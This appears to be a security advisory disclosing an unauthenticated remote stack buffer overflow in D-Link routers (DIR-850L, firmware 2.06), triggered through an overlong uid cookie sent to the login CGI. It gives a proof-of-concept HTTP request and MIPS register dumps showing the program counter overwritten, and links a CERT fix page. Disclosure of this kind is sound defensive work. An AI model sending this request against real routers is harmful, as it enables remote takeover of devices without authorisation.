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Vulnerability Description
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
It was found that D-Link Wireless Routers were vulnerable to a Remote Code
Execution vulnerability without authentication and available from the WAN
network (Internet).
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Technical Details
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
It was found that D-Link Wireless Routers were vulnerable to a Remote Code
Execution vulnerability without authentication and available from the WAN
network (Internet).
*This vulnerability was tested in the D-Link Wireless AC1200 (DIR-850L) device
(2.06 version).
D-Link Routers were vulnerable to stack buffer overflow through the session
validation function, which did not verify the cookie length properly. The
vulnerable web application (CGI) was available from the WAN network (Internet)
and no authentication was required.
Below can be seen the PoC request example and the process registers after the
crash:
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POC REQUEST:
=======================================
POST /dws/api/Login HTTP/1.1
Host: IP:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Cookie: uid=A"*3220 + "AAAA" + "BBBB" +"CCCC" +"DDDD" +"EEEE" +"FFFF" +"GGGG"
+"HHHH" +"XXXX"
Connection: close
id=test&password=test
=======================================
MIPS registers after the crash:
=======================================
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x58585858 code=1 ret=0
attach 16155 1
-- This software comes with no brain included. Please use your own.
[0x58585858]> dr=
zero 0x00000000
at 0x1000a400
v0 0x00000000
v1 0x2ab31311
a0 0x2ab31312
a1 0x2ab2e1a8
a2 0x00000001
a3 0x7fec73fd
t0 0x0000007d
t1 0x53554c54
t2 0x223a2022
t3 0x4641494c
t4 0x222c2022
t5 0x52454153
t6 0x4f4e223a
t7 0x20224552
s0 0x41414141
s1 0x42424242
s2 0x43434343
s3 0x44444444
<<< From s0 to s7 registers were overwritten
s4 0x45454545
s5 0x46464646
s6 0x47474747
s7 0x48484848
<<< From s0 to s7 registers were overwritten
s8 0x000000e8
s9 0x2aaf0fa0
k0 0x00000001
k1 0x00000000
gp 0x2ab364e0
sp 0x7fec8770
fp 0x00000038
ra 0x58585858
pc 0x58585858
<<< The PC MIPS register was overwritten
=======================================
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Fix Information
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Fix information and link patches could be found in the following link:
http://www.kb.cert.org/vuls/id/332115
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